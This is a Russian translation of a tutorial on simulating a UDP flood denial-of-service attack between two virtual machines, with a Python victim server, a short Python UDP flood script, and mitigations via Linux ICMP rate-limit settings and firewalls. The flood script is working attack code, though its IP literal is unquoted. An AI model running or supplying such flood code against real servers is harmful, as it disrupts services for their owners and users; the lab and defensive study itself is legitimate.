Внимание: нижеследующее руководство предназначено исключительно для обучающих целей. Выполняйте атаку только на компьютерах, которые принадлежат вам.

UDP-флуд — это атака типа “отказ в обслуживании” (Denial of service, DoS), при которой злоумышленник отправляет большое количество пакетов UDP (User Datagram Protocol) на сервер-жертву, чтобы подавить способность сервера обрабатывать входящий трафик и реагировать на него.

Злоумышленник отправляет пакеты на IP-адрес сервера, выбирая для этого случайные порты назначения. Когда сервер получает пакет, то он:

  1.  проверяет, слушает ли приложение указанный порт;
  2. видит, что ни одно приложение этого не делает. Так происходит в большинстве случаев, поскольку порты назначения являются случайными;
  3. отвечает пакетом ICMP Destination Unreachable.

IP-адрес злоумышленника может быть подделан, чтобы предотвратить как его идентификацию, так и насыщение его собственных ресурсов ответами ICMP.

Предустановки

Для того чтобы смоделировать такую атаку, вам понадобятся две виртуальные машины. Сетевые карты должны быть сконфигурированы так, чтобы у них были свои собственные адреса в подсети. Я использовал VirtualBox с двумя экземплярами BunsenLabs, которые весят очень мало. Они сконфигурированы через сетевую карту в режиме моста. Ниже приведены требования к каждой из виртуальных машин:

  • злоумышленник с python3;
  • жертва с python версии 3.7 или выше.

Конфигурация сервера

Мы запустим простой HTTP-сервер, чтобы проверить, что производительность падает, когда сервер находится под атакой. Ниже приведен сервер, написанный на Python.

import sys
import time
import random
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler

class DefaultHTTPHandler(BaseHTTPRequestHandler):

  def do_GET(self):
    self.send_response(200)
    self.send_header('Content-type', 'text/plain')
    self.send_header("Cache-Control", "no-cache")
    self.end_headers()

    n = random.randint(1e7,1e8)
    self.wfile.write((("{} is " + ("" if is_prime(n) else "not ") + "a prime number").format(n)).encode("utf-8"))

def base_http_server_start(address="0.0.0.0", port=80):
    handler = DefaultHTTPHandler
    address = (address, port)
    server = ThreadingHTTPServer(address, handler, 
bind_and_activate=False)
    server.server_bind()
    server.server_activate()
    server.serve_forever()

def is_prime(num):
    res = True
    for i in range(2, num - 1):
        if num % i == 0:
            res = False
    return res

if __name__ == '__main__':
    print("Starting HTTP server on port 80")
    base_http_server_start()

С этим сервером можно связаться по адресу localhost:80. Он делает вот что: выбирает очень большое случайное число и проверяет, является ли это число простым, используя намеренно очень неэффективную функцию. Благодаря этому механизму можно примерно оценить время отклика сервера, перезагрузив страницу браузера. Время отклика зависит от вычислительной мощности вашего оборудования, но в среднем оно должно составлять около 5–10 секунд.

Скрипт атаки

Мы можем выполнить атаку с помощью следующего скрипта Python, используя сокеты:

import time
import socket
import random
import sys

victim_ip = 192.168.1.10
duration = 60 # в секундах

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

msg = bytes(random.getrandbits(10))
timeout = time.time() + duration
sent_packets = 0

while time.time() < timeout:
  victim_port = random.randint(1025, 65356)
  sock.sendto(msg, (victim_ip, victim_port))
  sent_packets += 1

В этом скрипте можно указать IP-адрес жертвы и продолжительность атаки. Каждый раз, отправляя пакет, мы выбираем другой порт, как это описано выше.

Атака

Для выполнения атаки мы запускаем сервер и проверяем его работоспособность с помощью описанного выше метода. Затем с виртуальной машины злоумышленника мы запускаем сценарий, который проводит атаку. Когда машина находится под атакой, мы можем видеть увеличение нагрузки на ЦП, так как он занят обработкой входящего трафика и отправкой ответных пакетов ICMP Destination Unreachable.

Затем мы можем перезагрузить страницу браузера и подсчитать время отклика сервера. Таким образом легко будет заметить, что производительность сервера значительно ухудшилась. Время отклика должно быть как минимум вдвое больше, чем в обычно.

Противодействие

Настройки Linux

Смягчить последствия UDP-флуда довольно сложно. Можно изменить количество пакетов ICMP, которые операционная система отправляет каждую секунду. Например, в Linux мы можем использовать эти две команды:

sudo sysctl -w net.ipv4.icmp_ratelimit=0
sudo sysctl -w net.ipv4.icmp_msgs_per_sec=1000

Первая команда делает так, что скорость отправки ответов ICMP регулируется теперь только параметром второй команды. Следовательно в этом конкретном случае при помощи второй команды мы устанавливаем скорость 1000 сообщений ICMP в секунду.

Мы можем легко проверить это, запустив атаку на 10 секунд и используя Wireshark на виртуальной машине сервера для перехвата пакетов ICMP, отправленных в ответ. Можно увидеть, что за 10 секунд отправляется около 10000 пакетов ICMP, что правильно, так как мы установили скорость до 1000 пакетов в секунду.

За время десятисекундной атаки Wireshark захвачено 10000 пакетов

Мы можем попробовать изменить этот параметр и проверить с помощью Wireshark, как меняется количество пакетов, отправленных в течение 10 секунд. Например, указывая скорость 1 пакет в секунду, мы можем захватить около 10 пакетов.

sudo sysctl -w net.ipv4.icmp_msgs_per_sec=1
За время десятисекундной атаки Wireshark захвачено 10 пакетов

Самое сложное здесь — выбор подходящего значения для этих параметров. Оптимальное значение зависит от имеющегося оборудования, от особенностей нашего приложения, от среднего трафика, с которым работает наш сервер. Если мы уменьшаем количество ответов, отправляемых каждую секунду, мы, очевидно, уменьшаем нагрузку на сервер, так как многие другие входящие запросы просто отбрасываются — пакет ICMP в ответ не отправляется, и следовательно используется меньше ресурсов.

Однако, уменьшая данный параметр, мы еще сильнее рискуем тем, что будем отклонять даже допустимые запросы, упуская обработку и управление трафиком, который исходит не от злоумышленника, а от реальных пользователей нашего сервера. Поэтому необходимо находить компромиссный вариант, при котором эти аспекты окажутся сбалансированы.

Брандмауэры

Мы также можем попытаться защититься от этой атаки с помощью брандмауэров. Брандмауэр может блокировать UDP-пакеты до того, как они достигнут сервера. Таким образом, ресурсы сервера не используются вообще. Однако брандмауэры также уязвимы для такого типа атак: они должны обрабатывать входящий трафик и могут стать “узким местом” во время атаки. Кроме того, если мы используем брандмауэр с отслеживанием состояния, то можем легко блокировать атаку, если она всегда исходит с одного и того же IP-адреса. Но если злоумышленник подделывает свой IP-адрес, то все таблицы состояний брандмауэра потенциально могут быть заполнены и вся доступная память окажется израсходована. Таким образом, брандмауэры не всегда способны решить проблему.

Заключение

Описанный тип атаки несложно смоделировать в несколько шагов, чтобы лучше понять принцип, по которому она осуществляется. Вы также можете подробнее изучить, как смягчать ее последствия, пробуя различные параметры для настройки сервера. Эта атака также интересна тем, что она проста, но очень эффективна: как мы уже убедились, против нее трудно принять действенные контрмеры. 

Читайте также:

Читайте нас в Telegram, VK и Яндекс.Дзен


Перевод статьи RiccardoM: “How to simulate a UDP Flood DoS attack on your computer”

Предыдущая статьяФункции Java 15: скрытые и запечатанные классы, сопоставление шаблонов и текстовые блоки
Следующая статьяРегулярные выражения для извлечения информации о расходах из текстового файла